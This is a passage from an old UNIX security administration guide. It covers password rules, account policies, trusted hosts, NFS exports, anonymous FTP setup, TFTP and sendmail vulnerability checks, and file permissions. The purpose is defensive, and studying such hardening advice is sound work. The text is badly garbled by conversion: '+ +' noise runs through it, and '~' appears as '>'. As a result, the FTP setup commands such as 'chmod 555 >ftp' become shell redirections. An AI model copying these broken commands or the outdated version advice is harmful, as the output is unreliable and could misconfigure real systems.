Don't use a password of all digits, or all the same + + letter. This significantly decreases the search time + + for a cracker. + + + + o Don't use a word contained in (English or foreign + + + + + + + + 6 + + + + + + + + + + + + + + + + + + + + + + language) dictionaries, spelling lists, or other + + lists of words. + + + + o Don't use a password shorter than six characters. + + + + o Do use a password with mixed-case alphabetics. + + + + o Do use a password with nonalphabetic characters, + + e.g., digits or punctuation. + + + + o Do use a password that is easy to remember, so you + + don't have to write it down. + + + + o Do use a password that you can type quickly, without + + having to look at the keyboard. This makes it harder + + for someone to steal your password by watching over + + your shoulder. + + + + Although this list may seem to restrict passwords to an + + extreme, there are several methods for choosing secure, easy- + + to-remember passwords that obey the above rules. Some of these + + include the following: + + + + o Choose a line or two from a song or poem, and use the + + first letter of each word. For example, ``In Xanadu + + did Kubla Kahn a stately pleasure dome decree'' + + becomes ``IXdKKaspdd.'' + + + + o Alternate between one consonant and one or two + + vowels, up to eight characters. This provides non- + + sense words that are usually pronounceable, and thus + + easily remembered. Examples include ``routboo,'' + + ``quadpop,'' and so on. + + + + o Choose two short words and concatenate them together + + with a punctation character between them. For exam- + + ple: ``dog;rain,'' ``book+mug,'' ``kid?goat.'' + + + + The importance of obeying these password selection rules + + cannot be overemphasized. The Internet worm, as part of its + + strategy for breaking into new machines, attempted to crack + + user passwords. First, the worm tried simple choices such as + + the login name, user's first and last names, and so on. Next, + + the worm tried each word present in an internal dictionary of + + 432 words (presumably Morris considered these words to be + + ``good'' words to try). If all else failed, the worm tried + + going through the system dictionary, /usr/dict/words, trying + + each word [Spaf88]. The password selection rules above suc- + + cessfully guard against all three of these strategies. + + + + + + + + + + + + + + 7 + + + + + + + + + + + + + + + + + + + + + + 2.1.1.2 Password Policies + + + + + + + + Although asking users to select secure passwords will help + + improve security, by itself it is not enough. It is also + + important to form a set of password policies that all users + + must obey, in order to keep the passwords secure. + + + + First and foremost, it is important to impress on users + + the need to keep their passwords in their minds only. Pass- + + words should never be written down on desk blotters, calendars, + + and the like. Further, storing passwords in files on the com- + + puter must be prohibited. In either case, by writing the pass- + + word down on a piece of paper or storing it in a file, the + + security of the user's account is totally dependent on the + + security of the paper or file, which is usually less than the + + security offered by the password encryption software. + + + + A second important policy is that users must never give + + out their passwords to others. Many times, a user feels that + + it is easier to give someone else his password in order to copy + + a file, rather than to set up the permissions on the file so + + that it can be copied. Unfortunately, by giving out the pass- + + word to another person, the user is placing his trust in this + + other person not to distribute the password further, write it + + down, and so on. + + + + Finally, it is important to establish a policy that users + + must change their passwords from time to time, say twice a + + year. This is difficult to enforce on UNIX, since in most + + implementations, a password-expiration scheme is not available. + + However, there are ways to implement this policy, either by + + using third-party software or by sending a memo to the users + + requesting that they change their passwords. + + + + This set of policies should be printed and distributed to + + all current users of the system. It should also be given to + + all new users when they receive their accounts. The policy + + usually carries more weight if you can get it signed by the + + most ``impressive'' person in your organization (e.g., the + + president of the company). + + + + + + 2.1.1.3 Checking Password Security + + + + + + + + The procedures and policies described in the previous sec- + + tions, when properly implemented, will greatly reduce the + + chances of a cracker breaking into your system via a stolen + + account. However, as with all security measures, you as the + + + + + + + + 8 + + + + + + + + + + + + + + + + + + + + + + system administrator must periodically check to be sure that + + the policies and procedures are being adhered to. One of the + + unfortunate truisms of password security is that, ``left to + + their own ways, some people will still use cute doggie names as + + passwords'' [Gram84]. + + + + The best way to check the security of the passwords on + + your system is to use a password-cracking program much like a + + real cracker would use. If you succeed in cracking any pass- + + words, those passwords should be changed immediately. There + + are a few freely available password cracking programs distri- + + buted via various source archive sites; these are described in + + more detail in Section 4. A fairly extensive cracking program + + is also available from the author. Alternatively, you can + + write your own cracking program, and tailor it to your own + + site. For a list of things to check for, see the list of + + guidelines above. + + + + + + 2.1.2 Expiration Dates + + + + + + + + Many sites, particularly those with a large number of + + users, typically have several old accounts lying around whose + + owners have since left the organization. These accounts are a + + major security hole: not only can they be broken into if the + + password is insecure, but because nobody is using the account + + anymore, it is unlikely that a break-in will be noticed. + + + + The simplest way to prevent unused accounts from accumu- + + lating is to place an expiration date on every account. These + + expiration dates should be near enough in the future that old + + accounts will be deleted in a timely manner, yet far enough + + apart that the users will not become annoyed. A good figure is + + usually one year from the date the account was installed. This + + tends to spread the expirations out over the year, rather than + + clustering them all at the beginning or end. The expiration + + date can easily be stored in the password file (in the full + + name field). A simple shell script can be used to periodically + + check that all accounts have expiration dates, and that none of + + the dates has passed. + + + + On the first day of each month, any user whose account has + + expired should be contacted to be sure he is still employed by + + the organization, and that he is actively using the account. + + Any user who cannot be contacted, or who has not used his + + account recently, should be deleted from the system. If a user + + is unavailable for some reason (e.g., on vacation) and cannot + + be contacted, his account should be disabled by replacing the + + encrypted password in the password file entry with an asterisk + + (*). This makes it impossible to log in to the account, yet + + + + + + + + 9 + + + + + + + + + + + + + + + + + + + + + + leaves the account available to be re-enabled on the user's + + return. + + + + + + 2.1.3 Guest Accounts + + + + + + + + Guest accounts present still another security hole. By + + their nature, these accounts are rarely used, and are always + + used by people who should only have access to the machine for + + the short period of time they are guests. The most secure way + + to handle guest accounts is to install them on an as-needed + + basis, and delete them as soon as the people using them leave. + + Guest accounts should never be given simple passwords such as + + ``guest'' or ``visitor,'' and should never be allowed to remain + + in the password file when they are not being used. + + + + + + 2.1.4 Accounts Without Passwords + + + + + + + + Some sites have installed accounts with names such as + + ``who,'' ``date,'' ``lpq,'' and so on that execute simple com- + + mands. These accounts are intended to allow users to execute + + these commands without having to log in to the machine. Typi- + + cally these accounts have no password associated with them, and + + can thus be used by anyone. Many of the accounts are given a + + user id of zero, so that they execute with super-user permis- + + sions. + + + + The problem with these accounts is that they open poten- + + tial security holes. By not having passwords on them, and by + + having super-user permissions, these accounts practically + + invite crackers to try to penetrate them. Usually, if the + + cracker can gain access to the system, penetrating these + + accounts is simple, because each account executes a different + + command. If the cracker can replace any one of these commands + + with one of his own, he can then use the unprotected account to + + execute his program with super-user permissions. + + + + Simply put, accounts without passwords should not be + + allowed on any UNIX system. + + + + + + 2.1.5 Group Accounts and Groups + + + + + + + + Group accounts have become popular at many sites, but are + + actually a break-in waiting to happen. A group account is a + + + + + + + + 10 + + + + + + + + + + + + + + + + + + + + + + single account shared by several people, e.g., by all the col- + + laborators on a project. As mentioned in the section on pass- + + word security, users should not share passwords - the group + + account concept directly violates this policy. The proper way + + to allow users to share information, rather than giving them a + + group account to use, is to place these users into a group. + + This is done by editing the group file, /etc/group [Sun88a, + + 1390; Sun88b, 66], and creating a new group with the users who + + wish to collaborate listed as members. + + + + A line in the group file looks like + + + + groupname:password:groupid:user1,user2,user3,... + + + + The groupname is the name assigned to the group, much like a + + login name. It may be the same as someone's login name, or + + different. The maximum length of a group name is eight charac- + + ters. The password field is unused in BSD-derived versions of + + UNIX, and should contain an asterisk (*). The groupid is a + + number from 0 to 65535 inclusive. Generally, numbers below 10 + + are reserved for special purposes, but you may choose any + + unused number. The last field is a comma-separated (no spaces) + + list of the login names of the users in the group. If no login + + names are listed, then the group has no members. To create a + + group called ``hackers'' with Huey, Duey, and Louie as members, + + you would add a line such as this to the group file: + + + + hackers:*:100:huey,duey,louie + + + + + + After the group has been created, the files and direc- + + tories the members wish to share can then be changed so that + + they are owned by this group, and the group permission bits on + + the files and directories can be set to allow sharing. Each + + user retains his own account, with his own password, thus pro- + + tecting the security of the system. + + + + For example, to change Huey's ``programs'' directory to be + + owned by the new group and properly set up the permissions so + + that all members of the group may access it, the chgrp and + + chmod commands would be used as follows [Sun88a, 63-66]: + + + + c chgrp hackers >huey/programs + + c chmod -R g+rw >huey/programs + + + + + + + + 2.1.6 Yellow Pages + + + + + + + + The Sun Yellow Pages system [Sun88b, 349-374] allows many + + + + + + + + 11 + + + + + + + + + + + + + + + + + + + + + + hosts to share password files, group files, and other files via + + the network, while the files are stored on only a single host. + + Unfortunately, Yellow Pages also contains a few potential secu- + + rity holes. + + + + The principal way Yellow Pages works is to have a special + + line in the password or group file that begins with a ``+''. + + In the password file, this line looks like + + + + +::0:0::: + + + + and in the group file, it looks like + + + + +: + + + + These lines should only be present in the files stored on Yel- + + low Pages client machines. They should not be present in the + + files on the Yellow Pages master machine(s). When a program + + reads the password or group file and encounters one of these + + lines, it goes through the network and requests the information + + it wants from the Yellow Pages server instead of trying to find + + it in the local file. In this way, the data does not have to + + be maintained on every host. Since the master machine already + + has all the information, there is no need for this special line + + to be present there. + + + + Generally speaking, the Yellow Pages service itself is + + reasonably secure. There are a few openings that a sophisti- + + cated (and dedicated) cracker could exploit, but Sun is rapidly + + closing these. The biggest problem with Yellow Pages is the + + ``+'' line in the password file. If the ``+'' is deleted from + + the front of the line, then this line loses its special Yellow + + Pages meaning. It instead becomes a regular password file line + + for an account with a null login name, no password, and user id + + zero (super-user). Thus, if a careless system administrator + + accidentally deletes the ``+''. the whole system is wide open + + to any attack.* + + + + Yellow Pages is too useful a service to suggest turning it + + off, although turning it off would make your system more + + secure. Instead, it is recommended that you read carefully the + + information in the Sun manuals in order to be fully aware of + + Yellow Pages' abilities and its limitations. + + + + + + 2.2 NETWORK SECURITY + + + + + + _________________________ + + * Actually, a line like this without a ``+'' is dangerous in + + any password file, regardless of whether Yellow Pages is in use. + + + + + + + + + + 12 + + + + + + + + + + + + + + + + + + + + + + As trends toward internetworking continue, most sites + + will, if they haven't already, connect themselves to one of the + + numerous regional networks springing up around the country. + + Most of these regional networks are also interconnected, form- + + ing the Internet [Hind83, Quar86]. This means that the users + + of your machine can access other hosts and communicate with + + other users around the world. Unfortunately, it also means + + that other hosts and users from around the world can access + + your machine, and attempt to break into it. + + + + Before internetworking became commonplace, protecting a + + system from unauthorized access simply meant locking the + + machine in a room by itself. Now that machines are connected + + by networks, however, security is much more complex. This sec- + + tion describes the tools and methods available to make your + + UNIX networks as secure as possible. + + + + + + 2.2.1 Trusted Hosts + + + + + + + + One of the most convenient features of the Berkeley (and + + Sun) UNIX networking software is the concept of ``trusted'' + + hosts. The software allows the specification of other hosts + + (and possibly users) who are to be considered trusted - remote + + logins and remote command executions from these hosts will be + + permitted without requiring the user to enter a password. This + + is very convenient, because users do not have to type their + + password every time they use the network. Unfortunately, for + + the same reason, the concept of a trusted host is also + + extremely insecure. + + + + The Internet worm made extensive use of the trusted host + + concept to spread itself throughout the network [Seel88]. Many + + sites that had already disallowed trusted hosts did fairly well + + against the worm compared with those sites that did allow + + trusted hosts. Even though it is a security hole, there are + + some valid uses for the trusted host concept. This section + + describes how to properly implement the trusted hosts facility + + while preserving as much security as possible. + + + + + + 2.2.1.1 The hosts.equiv File + + + + + + + + The file /etc/hosts.equiv [Sun88a, 1397] can be used by + + the system administrator to indicate trusted hosts. Each + + trusted host is listed in the file, one host per line. If a + + user attempts to log in (using rlogin) or execute a command + + (using rsh) remotely from one of the systems listed in + + + + + + + + 13 + + + + + + + + + + + + + + + + + + + + + + hosts.equiv, and that user has an account on the local system + + with the same login name, access is permitted without requiring + + a password. + + + + Provided adequate care is taken to allow only local hosts + + in the hosts.equiv file, a reasonable compromise between secu- + + rity and convenience can be achieved. Nonlocal hosts (includ- + + ing hosts at remote sites of the same organization) should + + never be trusted. Also, if there are any machines at your + + organization that are installed in ``public'' areas (e.g., ter- + + minal rooms) as opposed to private offices, you should not + + trust these hosts. + + + + On Sun systems, hosts.equiv is controlled with the Yellow + + Pages software. As distributed, the default hosts.equiv file + + distributed by Sun contains a single line: + + + + + + + + + This indicates that every known host (i.e., the complete con- + + tents of the host file) should be considered a trusted host. + + This is totally incorrect and a major security hole, since + + hosts outside the local organization should never be trusted. + + A correctly configured hosts.equiv should never list any + + ``wildcard'' hosts (such as the ``+''); only specific host + + names should be used. When installing a new system from Sun + + distribution tapes, you should be sure to either replace the + + Sun default hosts.equiv with a correctly configured one, or + + delete the file altogether. + + + + + + 2.2.1.2 The .rhosts File + + + + + + + + The .rhosts file [Sun88a, 1397] is similar in concept and + + format to the hosts.equiv file, but allows trusted access only + + to specific host-user combinations, rather than to hosts in + + general.* Each user may create a .rhosts file in his home + + directory, and allow access to her account without a password. + + Most people use this mechanism to allow trusted access between + + accounts they have on systems owned by different organizations + + who do not trust each other's hosts in hosts.equiv. Unfor- + + tunately, this file presents a major security problem: While + + hosts.equiv is under the system administrator's control and can + + be managed effectively, any user may create a .rhosts file + + granting access to whomever he chooses, without the system + + administrator's knowledge. + + _________________________ + + Actually, hosts.equiv may be used to specify host-user + + combinations as well, but this is rarely done. + + + + + + + + + + 14 + + + + + + + + + + + + + + + + + + + + + + The only secure way to manage .rhosts files is to com- + + pletely disallow them on the system. The system administrator + + should check the system often for violations of this policy + + (see Section 3.3.1.4). One possible exception to this rule is + + the ``root'' account; a .rhosts file may be necessary to allow + + network backups and the like to be completed. + + + + + + 2.2.2 Secure Terminals + + + + + + + + Under newer versions of UNIX, the concept of a ``secure'' + + terminal has been introduced. Simply put, the super-user + + (``root'') may not log in on a nonsecure terminal, even with a + + password. (Authorized users may still use the su command to + + become super-user, however.) The file /etc/ttytab [Sun88a, + + 1478] is used to control which terminals are considered + + secure.|- A short excerpt from this file is shown below. + + + + console "/usr/etc/getty std.9600" sun off secure + + ttya "/usr/etc/getty std.9600" unknown off secure + + ttyb "/usr/etc/getty std.9600" unknown off secure + + ttyp0 none network off secure + + ttyp1 none network off secure + + ttyp2 none network off secure + + + + The keyword ``secure'' at the end of each line indicates that + + the terminal is considered secure. To remove this designation, + + simply edit the file and delete the ``secure'' keyword. After + + saving the file, type the command (as super-user): + + + + c kill -HUP 1 + + + + This tells the init process to reread the ttytab file. + + + + The Sun default configuration for ttytab is to consider + + all terminals secure, including ``pseudo'' terminals used by + + the remote login software. This means that ``root'' may log in + + remotely from any host on the network. A more secure confi- + + guration would consider as secure only directly connected ter- + + minals, or perhaps only the console device. This is how file + + servers and other machines with disks should be set up. + + + + The most secure configuration is to remove the ``secure'' + + designation from all terminals, including the console device. + + This requires that those users with super-user authority first + + log in as themselves, and then become the super-user via the su + + _________________________ + + |- Under non-Sun versions of Berkeley UNIX, this file is called + + /etc/ttys. + + + + + + + + + + 15 + + + + + + + + + + + + + + + + + + + + + + command. It also requires the ``root'' password to be entered + + when rebooting in single-user mode, in order to prevent users + + from rebooting their desktop workstations and obtaining super- + + user access. This is how all diskless client machines should + + be set up. + + + + + + 2.2.3 The Network File System + + + + + + + + The Network File System (NFS) [Sun88d] is designed to + + allow several hosts to share files over the network. One of + + the most common uses of NFS is to allow diskless workstations + + to be installed in offices, while keeping all disk storage in a + + central location. As distributed by Sun, NFS has no security + + features enabled. This means that any host on the Internet may + + access your files via NFS, regardless of whether you trust them + + or not. + + + + Fortunately, there are several easy ways to make NFS more + + secure. The more commonly used methods are described in this + + section, and these can be used to make your files quite secure + + from unauthorized access via NFS. Secure NFS, introduced in + + SunOS Release 4.0, takes security one step further, using + + public-key encryption techniques to ensure authorized access. + + Discussion of secure NFS is deferred until Section 4. + + + + + + 2.2.3.1 The exports File + + + + + + + + The file /etc/exports [Sun88a, 1377] is perhaps one of the + + most important parts of NFS configuration. This file lists + + which file systems are exported (made available for mounting) + + to other systems. A typical exports file as installed by the + + Sun installation procedure looks something like this: + + + + /usr + + /home + + /var/spool/mail + + c + + /export/root/client1 -access=client1,root=client1 + + /export/swap/client1 -access=client1,root=client1 + + c + + /export/root/client2 -access=client2,root=client2 + + /export/swap/client2 -access=client2,root=client2 + + + + The root= keyword specifies the list of hosts that are allowed + + to have super-user access to the files in the named file + + system. This keyword is discussed in detail in Section + + + + + + + + 16 + + + + + + + + + + + + + + + + + + + + + + 2.2.3.3. The access= keyword specifies the list of hosts + + (separated by colons) that are allowed to mount the named file + + system. If no access= keyword is specified for a file system, + + any host anywhere on the network may mount that file system via + + NFS. + + + + Obviously, this presents a major security problem, since + + anyone who can mount your file systems via NFS can then peruse + + them at her leisure. Thus, it is important that all file sys- + + tems listed in exports have an access= keyword associated with + + them. If you have only a few hosts which must mount a file + + system, you can list them individually in the file: + + + + /usr -access=host1:host2:host3:host4:host5 + + + + However, because the maximum number of hosts that can be listed + + this way is ten, the access= keyword will also allow netgroups + + to be specified. Netgroups are described in the next section. + + + + After making any changes to the exports file, you should + + run the command + + + + c exportfs -a + + + + in order to make the changes take effect. + + + + + + 2.2.3.2 The netgroup File + + + + + + + + The file /etc/netgroup [Sun88a, 1407] is used to define + + netgroups. This file is controlled by Yellow Pages, and must + + be rebuilt in the Yellow Pages maps whenever it is modified. + + Consider the following sample netgroup file: + + + + A_Group (servera,,) (clienta1,,) (clienta2,,) + + + + B_Group (serverb,,) (clientb1,,) (clientb2,,) + + + + AdminStaff (clienta1,mary,) (clientb3,joan,) + + + + AllSuns A_Group B_Group + + + + This file defines four netgroups, called A_Group, B_Group, + + AdminStaff, and AllSuns. The AllSuns netgroup is actually a + + ``super group'' containing all the members of the A_Group and + + B_Group netgroups. + + + + Each member of a netgroup is defined as a triple: (host, + + user, domain). Typically, the domain field is never used, and + + is simply left blank. If either the host or user field is left + + + + + + + + 17 + + + + + + + + + + + + + + + + + + + + + + blank, then any host or user is considered to match. Thus the + + triple (host,,) matches any user on the named host, while the + + triple (,user,) matches the named user on any host. + + + + Netgroups are useful when restricting access to NFS file + + systems via the exports file. For example, consider this modi- + + fied version of the file from the previous section: + + + + /usr -access=A_Group + + /home -access=A_Group:B_Group + + /var/spool/mail -access=AllSuns + + c + + /export/root/client1 -access=client1,root=client1 + + /export/swap/client1 -access=client1,root=client1 + + c + + /export/root/client2 -access=client2,root=client2 + + /export/swap/client2 -access=client2,root=client2 + + + + The /usr file system may now only be mounted by the hosts in + + the A_Group netgroup, that is, servera, clienta1, and clienta2. + + Any other host that tries to mount this file system will + + receive an ``access denied'' error. The /home file system may + + be mounted by any of the hosts in either the A_Group or B_Group + + netgroups. The /var/spool/mail file system is also restricted + + to these hosts, but in this example we used the ``super group'' + + called AllSuns. + + + + Generally, the best way to configure the netgroup file is + + to make a single netgroup for each file server and its clients, + + and then to make other super groups, such as AllSuns. This + + allows you the flexibility to specify the smallest possible + + group of hosts for each file system in /etc/exports. + + + + Netgroups can also be used in the password file to allow + + access to a given host to be restricted to the members of that + + group, and they can be used in the hosts.equiv file to central- + + ize maintenance of the list of trusted hosts. The procedures + + for doing this are defined in more detail in the Sun manual. + + + + + + 2.2.3.3 Restricting Super-User Access + + + + + + + + Normally, NFS translates the super-user id to a special id + + called ``nobody'' in order to prevent a user with ``root'' on a + + remote workstation from accessing other people's files. This + + is good for security, but sometimes a nuisance for system + + administration, since you cannot make changes to files as + + ``root'' through NFS. + + + + The exports file also allows you to grant super-user + + + + + + + + 18 + + + + + + + + + + + + + + + + + + + + + + access to certain file systems for certain hosts by using the + + root= keyword. Following this keyword a colon-separated list + + of up to ten hosts may be specified; these hosts will be + + allowed to access the file system as ``root'' without having + + the user id converted to ``nobody.'' Netgroups may not be + + specified to the root= keyword. + + + + Granting ``root'' access to a host should not be done + + lightly. If a host has ``root'' access to a file system, then + + the super-user on that host will have complete access to the + + file system, just as if you had given him the ``root'' password + + on the server. Untrusted hosts should never be given ``root'' + + access to NFS file systems. + + + + + + 2.2.4 FTP + + + + + + + + The File Transfer Protocol, implemented by the ftp and + + ftpd programs [Sun88a, 195-201, 1632-1634], allows users to + + connect to remote systems and transfer files back and forth. + + Unfortunately, older versions of these programs also had + + several bugs in them that allowed crackers to break into a sys- + + tem. These bugs have been fixed by Berkeley, and new versions + + are available. If your ftpd* was obtained before December + + 1988, you should get a newer version (see Section 4). + + + + One of the more useful features of FTP is the + + ``anonymous'' login. This special login allows users who do + + not have an account on your machine to have restricted access + + in order to transfer files from a specific directory. This is + + useful if you wish to distribute software to the public at + + large without giving each person who wants the software an + + account on your machine. In order to securely set up anonymous + + FTP you should follow the specific instructions below: + + + + 1. Create an account called ``ftp.'' Disable the + + account by placing an asterisk (*) in the password + + field. Give the account a special home directory, + + such as /usr/ftp or /usr/spool/ftp. + + + + 2. Make the home directory owned by ``ftp'' and unwrit- + + able by anyone: + + + + c chown ftp >ftp + + c chmod 555 >ftp + + + + _________________________ + + * On Sun systems, ftpd is stored in the file /usr/etc/in.ftpd. + + On most other systems, it is called /etc/ftpd. + + + + + + + + + + 19 + + + + + + + + + + + + + + + + + + + + + + 3. Make the directory >ftp/bin, owned by the super-user + + and unwritable by anyone. Place a copy of the ls + + program in this directory: + + + + c mkdir >ftp/bin + + c chown root >ftp/bin + + c chmod 555 >ftp/bin + + c cp -p /bin/ls >ftp/bin + + c chmod 111 >ftp/bin/ls + + + + + + 4. Make the directory >ftp/etc, owned by the super-user + + and unwritable by anyone. Place copies of the pass- + + word and group files in this directory, with all the + + password fields changed to asterisks (*). You may + + wish to delete all but a few of the accounts and + + groups from these files; the only account that must + + be present is ``ftp.'' + + + + c mkdir >ftp/etc + + c chown root >ftp/etc + + c chmod 555 >ftp/etc + + c cp -p /etc/passwd /etc/group >ftp/etc + + c chmod 444 >ftp/etc/passwd >ftp/etc/group + + + + + + 5. Make the directory >ftp/pub, owned by ``ftp'' and + + world-writable. Users may then place files that are + + to be accessible via anonymous FTP in this directory: + + + + c mkdir >ftp/pub + + c chown ftp >ftp/pub + + c chmod 777 >ftp/pub + + + + + + Because the anonymous FTP feature allows anyone to access + + your system (albeit in a very limited way), it should not be + + made available on every host on the network. Instead, you + + should choose one machine (preferably a server or standalone + + host) on which to allow this service. This makes monitoring + + for security violations much easier. If you allow people to + + transfer files to your machine (using the world-writable pub + + directory, described above), you should check often the con- + + tents of the directories into which they are allowed to write. + + Any suspicious files you find should be deleted. + + + + + + 2.2.4.1 Trivial FTP + + + + + + + + The Trivial File Transfer Protocol, TFTP, is used on Sun + + + + + + + + 20 + + + + + + + + + + + + + + + + + + + + + + workstations (and others) to allow diskless hosts to boot from + + the network. Basically, TFTP is a stripped-down version of FTP + + - there is no user authentication, and the connection is based + + on the User Datagram Protocol instead of the Transmission Con- + + trol Protocol. Because they are so stripped-down, many imple- + + mentations of TFTP have security holes. You should check your + + hosts by executing the command sequence shown below. + + + + % tftp + + tftp> connect yourhost + + tftp> get /etc/motd tmp + + Error code 1: File not found + + tftp> quit + + % + + + + If your version does not respond with ``File not found,'' and + + instead transfers the file, you should replace your version of + + tftpd* with a newer one. In particular, versions of SunOS + + prior to release 4.0 are known to have this problem. + + + + + + 2.2.5 Mail + + + + + + + + Electronic mail is one of the main reasons for connecting + + to outside networks. On most versions of Berkeley-derived UNIX + + systems, including those from Sun, the sendmail program + + [Sun88a, 1758-1760; Sun88b, 441-488] is used to enable the + + receipt and delivery of mail. As with the FTP software, older + + versions of sendmail have several bugs that allow security vio- + + lations. One of these bugs was used with great success by the + + Internet worm [Seel88, Spaf88]. The current version of send- + + mail from Berkeley is version 5.61, of January 1989. Sun is, + + as of this writing, still shipping version 5.59, which has a + + known security problem. They have, however, made a fixed ver- + + sion available. Section 4 details how to obtain these newer + + versions. + + + + Generally, with the exception of the security holes men- + + tioned above, sendmail is reasonably secure when installed by + + most vendors' installation procedures. There are, however, a + + few precautions that should be taken to ensure secure opera- + + tion: + + + + 1. Remove the ``decode'' alias from the aliases file + + (/etc/aliases or /usr/lib/aliases). + + _________________________ + + * On Sun systems, tftpd is stored in the file + + /usr/etc/in.tftpd. On most other systems, it is called + + /etc/tftpd. + + + + + + + + + + 21 + + + + + + + + + + + + + + + + + + + + + + 2. If you create aliases that allow messages to be sent + + to programs, be absolutely sure that there is no way + + to obtain a shell or send commands to a shell from + + these programs. + + + + 3. Make sure the ``wizard'' password is disabled in the + + configuration file, sendmail.cf. (Unless you modify + + the distributed configuration files, this shouldn't + + be a problem.) + + + + 4. Make sure your sendmail does not support the + + ``debug'' command. This can be done with the follow- + + ing commands: + + + + % telnet localhost 25 + + 220 yourhost Sendmail 5.61 ready at 9 Mar 90 10:57:36 PST + + debug + + 500 Command unrecognized + + quit + + % + + + + + + If your sendmail responds to the ``debug'' command + + with ``200 Debug set,'' then you are vulnerable to + + attack and should replace your sendmail with a newer + + version. + + + + By following the procedures above, you can be sure that your + + mail system is secure. + + + + + + 2.2.6 Finger + + + + + + + + The ``finger'' service, provided by the finger program + + [Sun88a, 186-187], allows you to obtain information about a + + user such as her full name, home directory, last login time, + + and in some cases when she last received mail and/or read her + + mail. The fingerd program [Sun88a, 1625] allows users on + + remote hosts to obtain this information. + + + + A bug in fingerd was also exercised with success by the + + Internet worm [Seel88, Spaf88]. If your version of fingerd* is + + older than November 5, 1988, it should be replaced with a newer + + version. New versions are available from several of the + + sources described in Section 4. + + + + _________________________ + + * On Sun systems, fingerd is stored in /usr/etc/in.fingerd. On + + most other systems, it is called /etc/fingerd. + + + + + + + + + + 22 + + + + + + + + + + + + + + + + + + + + + + 2.2.7 Modems and Terminal Servers + + + + + + + + Modems and terminal servers (terminal switches, Annex + + boxes, etc.) present still another potential security problem. + + The main problem with these devices is one of configuration - + + misconfigured hardware can allow security breaches. Explaining + + how to configure every brand of modem and terminal server would + + require volumes. However, the following items should be + + checked for on any modems or terminal servers installed at your + + site: + + + + 1. If a user dialed up to a modem hangs up the phone, + + the system should log him out. If it doesn't, check + + the hardware connections and the kernel configuration + + of the serial ports. + + + + 2. If a user logs off, the system should force the modem + + to hang up. Again, check the hardware connections if + + this doesn't work. + + + + 3. If the connection from a terminal server to the sys- + + tem is broken, the system should log the user off. + + + + 4. If the terminal server is connected to modems, and + + the user hangs up, the terminal server should inform + + the system that the user has hung up. + + + + Most modem and terminal server manuals cover in detail how + + to properly connect these devices to your system. In particu- + + lar you should pay close attention to the ``Carrier Detect,'' + + ``Clear to Send,'' and ``Request to Send'' connections. + + + + + + 2.2.8 Firewalls + + + + + + + + One of the newer ideas in network security is that of a + + firewall. Basically, a firewall is a special host that sits + + between your outside-world network connection(s) and your + + internal network(s). This host does not send out routing + + information about your internal network, and thus the internal + + network is ``invisible'' from the outside. In order to config- + + ure a firewall machine, the following considerations need to be + + taken: + + + + 1. The firewall does not advertise routes. This means + + that users on the internal network must log in to the + + firewall in order to access hosts on remote networks. + + Likewise, in order to log in to a host on the + + + + + + + + 23 + + + + + + + + + + + + + + + + + + + + + + internal network from the outside, a user must first + + log in to the firewall machine. This is incon- + + venient, but more secure. + + + + 2. All electronic mail sent by your users must be for- + + warded to the firewall machine if it is to be + + delivered outside your internal network. The + + firewall must receive all incoming electronic mail, + + and then redistribute it. This can be done either + + with aliases for each user or by using name server MX + + records. + + + + 3. The firewall machine should not mount any file sys- + + tems via NFS, or make any of its file systems avail- + + able to be mounted. + + + + 4. Password security on the firewall must be rigidly + + enforced. + + + + 5. The firewall host should not trust any other hosts + + regardless of where they are. Furthermore, the + + firewall should not be trusted by any other host. + + + + 6. Anonymous FTP and other similar services should only + + be provided by the firewall host, if they are pro- + + vided at all. + + + + The purpose of the firewall is to prevent crackers from + + accessing other hosts on your network. This means, in general, + + that you must maintain strict and rigidly enforced security on + + the firewall, but the other hosts are less vulnerable, and + + hence security may be somewhat lax. But it is important to + + remember that the firewall is not a complete cure against + + crackers - if a cracker can break into the firewall machine, he + + can then try to break into any other host on your network. + + + + + + 2.3 FILE SYSTEM SECURITY + + + + + + + + The last defense against system crackers are the permis- + + sions offered by the file system. Each file or directory has + + three sets of permission bits associated with it: one set for + + the user who owns the file, one set for the users in the group + + with which the file is associated, and one set for all other + + users (the ``world'' permissions). Each set contains three + + identical permission bits, which control the following: + + + + read If set, the file or directory may be read. In + + the case of a directory, read access allows a + + user to see the contents of a directory (the + + + + + + + + 24 + + + + + + + + + + + + + + + + + + + + + + names of the files contained therein), but not to + + access them. + + + + write If set, the file or directory may be written + + (modified). In the case of a directory, write + + permission implies the ability to create, delete, + + and rename files. Note that the ability to + + remove a file is not controlled by the permis- + + sions on the file, but rather the permissions on + + the directory containing the file. + + + + execute If set, the file or directory may be executed + + (searched). In the case of a directory, execute + + permission implies the ability to access files + + contained in that directory. + + + + In addition, a fourth permission bit is available in each + + set of permissions. This bit has a different meaning in each + + set of permission bits: + + + + setuid If set in the owner permissions, this bit controls + + the ``set user id'' (setuid) status of a file. + + Setuid status means that when a program is exe- + + cuted, it executes with the permissions of the + + user owning the program, in addition to the per- + + missions of the user executing the program. For + + example, sendmail is setuid ``root,'' allowing it + + to write files in the mail queue area, which nor- + + mal users are not allowed to do. This bit is + + meaningless on nonexecutable files. + + + + setgid If set in the group permissions, this bit controls + + the ``set group id'' (setgid) status of a file. + + This behaves in exactly the same way as the setuid + + bit, except that the group id is affected instead. + + This bit is meaningless on non-executable files + + (but see below). + + + + sticky If set in the world permissions, the ``sticky'' + + bit tells the operating system to do special + + things with the text image of an executable file. + + It is mostly a holdover from older versions of + + UNIX, and has little if any use today. This bit + + is also meaningless on nonexecutable files (but + + see below). + + + + + + 2.3.1 Setuid Shell Scripts + + + + + + + + Shell scripts that have the setuid or setgid bits set on + + + + + + + + 25 + + + + + + + + + + + + + + + + + + + + + + them are not secure, regardless of how many safeguards are taken + + when writing them. There are numerous software packages avail- + + able that claim to make shell scripts secure, but every one + + released so far has not managed to solve all the problems. + + + + Setuid and setgid shell scripts should never be allowed on + + any UNIX system. + + + + + + 2.3.2 The Sticky Bit on Directories + + + + + + + + Newer versions of UNIX have attached a new meaning to the + + sticky bit. When this bit is set on a directory, it means that + + users may not delete or rename other users' files in this direc- + + tory. This is typically useful for the /tmp directory. Nor- + + mally, /tmp is world-writable, enabling any user to delete + + another user's files. By setting the sticky bit on /tmp, users + + may only delete their own files from this directory. + + + + To set the sticky bit on a directory, use the command + + + + c chmod o+t directory + + + + + + + + 2.3.3 The Setgid Bit on Directories + + + + + + + + In SunOS 4.0, the setgid bit was also given a new meaning. + + Two rules can be used for assigning group ownership to a file in + + SunOS: + + + + 1. The System V mechanism, which says that a user's pri- + + mary group id (the one listed in the password file) is + + assigned to any file he creates. + + + + 2. The Berkeley mechanism, which says that the group id of + + a file is set to the group id of 